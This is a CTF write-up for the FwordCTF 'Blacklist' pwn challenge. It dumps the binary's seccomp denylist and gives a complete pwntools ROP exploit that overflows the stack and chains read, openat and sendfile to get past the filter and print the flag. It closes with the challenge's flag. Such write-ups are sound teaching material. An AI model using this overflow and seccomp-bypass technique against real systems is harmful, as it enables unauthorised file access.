## FwordCTF Blacklist Writeup#### Tags: pwn, seccomp bypass, rop
We are given a statically linked binary:
```shell$ file ./blacklist./blacklist: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=8231fd8232118e3b92ca37d041e1da3ab1daf4d9, for GNU/Linux 3.2.0, stripped```
From analzying the binary, we can see it uses seccomp to restrict syscalls, then waits for input:
```shell$ strace ./blacklist...seccomp(SECCOMP_SET_MODE_FILTER, 0, {len=24, filter=0x902350}) = 0read(0, ```
We can easily overflow, find the offset and control rip, but due to seccomp, it will be much harder to read the flag.
```shell$ ./blacklistAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASegmentation fault```
Let's analyze the seccomp profile using [seccomp-tools](https://github.com/david942j/seccomp-tools):
```shell$ seccomp-tools dump ./blacklist line  CODE  JT   JF      K================================= 0000: 0x20 0x00 0x00 0x00000004  A = arch 0001: 0x15 0x00 0x15 0xc000003e  if (A != ARCH_X86_64) goto 0023 0002: 0x20 0x00 0x00 0x00000000  A = sys_number 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x12 0xffffffff  if (A != 0xffffffff) goto 0023 0005: 0x15 0x11 0x00 0x00000001  if (A == write) goto 0023 0006: 0x15 0x10 0x00 0x00000002  if (A == open) goto 0023 0007: 0x15 0x0f 0x00 0x00000012  if (A == pwrite64) goto 0023 0008: 0x15 0x0e 0x00 0x00000014  if (A == writev) goto 0023 0009: 0x15 0x0d 0x00 0x00000038  if (A == clone) goto 0023 0010: 0x15 0x0c 0x00 0x00000039  if (A == fork) goto 0023 0011: 0x15 0x0b 0x00 0x0000003a  if (A == vfork) goto 0023 0012: 0x15 0x0a 0x00 0x0000003b  if (A == execve) goto 0023 0013: 0x15 0x09 0x00 0x0000003e  if (A == kill) goto 0023 0014: 0x15 0x08 0x00 0x00000065  if (A == ptrace) goto 0023 0015: 0x15 0x07 0x00 0x000000c8  if (A == tkill) goto 0023 0016: 0x15 0x06 0x00 0x00000113  if (A == splice) goto 0023 0017: 0x15 0x05 0x00 0x00000128  if (A == pwritev) goto 0023 0018: 0x15 0x04 0x00 0x00000130  if (A == open_by_handle_at) goto 0023 0019: 0x15 0x03 0x00 0x00000135  if (A == getcpu) goto 0023 0020: 0x15 0x02 0x00 0x00000142  if (A == execveat) goto 0023 0021: 0x15 0x01 0x00 0x00000148  if (A == pwritev2) goto 0023 0022: 0x06 0x00 0x00 0x7fff0000  return ALLOW 0023: 0x06 0x00 0x00 0x00000000  return KILL ```All the syscalls listed above are blocked.Also attempting to switch to 32 bit mode to use 32 bit syscalls is not allowed.
We need to bypass the seccomp filter and read the flag somehow (it's path is known). After looking at the [amd64 syscall table](https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/), we can find some useful syscalls that allow us to read the flag: * read - to read the path of the flag into a known address * openat - to open the flag file and get the fd * sendfile - to transfer data between file descriptors (we can transfer to fd 1 stdout)
Now because the binary is statically linked, we will have plenty of rop gadgets to use. I chose to write a rop chain that uses only these syscalls. Another approach is to write custom shellcode, then use mprotect to mark the section of the shellcode as executable, and execute it.
Before I wrote the rop chain, I tested the syscalls in a [c program](idea.c) in order to test it easily:```c#include <fcntl.h>#include <sys/sendfile.h>
int main() {    // read(0, RW_ADDR, 900); // write path of flag to known address    int fd = openat(0, "/path/to/flag.txt", O_RDONLY); // imagine that RW_ADDR points to the string "/path/to/flag.txt"    sendfile(1, fd, 0, 0xffff);    return 0;}```
Now the [final exploit](solve.py):```pyfrom pwn import *
context(arch="amd64")elf = ELF("./blacklist")
DEBUG = FalseREMOTE = True
if DEBUG:    p = gdb.debug("./blacklist", gdbscript="""    b *0x4017b6    continue    """)elif REMOTE:    p = remote("blacklist.fword.wtf",1236)else:    p = process(elf.path)
offset = 72
read_n = 0openat_n = 257 sendfile_n = 40
pop_rdi_ret = 0x00000000004017b6#: pop rdi; ret;pop_rsi_ret = 0x00000000004024f6#: pop rsi; ret;pop_rdx_ret = 0x0000000000401db2#: pop rdx; ret;pop_rax_ret = 0x0000000000401daf#: pop rax; ret;pop_r10_ret = 0x0000000000401db1#: pop r10; ret;syscall_ret = 0x000000000041860c#: syscall; ret;
string_addr = 0x004d1260path_str = "/home/fbi/aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacma.txt\x00"
# first payload to read string from stdinpayload = b""payload += b"A"*offset payload += p64(pop_rdi_ret)payload += p64(0) # arg1 fdpayload += p64(pop_rsi_ret)payload += p64(string_addr) # arg2 bufpayload += p64(pop_rdx_ret)payload += p64(300) # arg3 countpayload += p64(pop_rax_ret)payload += p64(read_n)payload += p64(syscall_ret) # read
# second payload to open the flag using openatpayload += p64(pop_rdi_ret)payload += p64(0) # arg1 (doesn't matter)payload += p64(pop_rsi_ret) payload += p64(string_addr) # arg2 pathpayload += p64(pop_rdx_ret)payload += p64(0) # arg3payload += p64(pop_rax_ret)payload += p64(openat_n)payload += p64(syscall_ret) # openat
flag_fd = 3 # new fd of the flag will always be 3
# third payload to write flag to stdout using sendfilepayload += p64(pop_rdi_ret)payload += p64(1) # arg1 dst fd: stdoutpayload += p64(pop_rsi_ret)payload += p64(flag_fd) # arg2 src fd: flag_fdpayload += p64(pop_rdx_ret)payload += p64(0) # arg3 offsetpayload += p64(pop_r10_ret)payload += p64(0xffff) # arg4 countpayload += p64(pop_rax_ret)payload += p64(sendfile_n)payload += p64(syscall_ret) # sendfile
p.sendline(payload)p.sendline(path_str)p.interactive()```
And we get the flag!**FwordCTF{th3_n4M3_1s_El1Z4be7h_K33n}**
Overall a really fun challenge.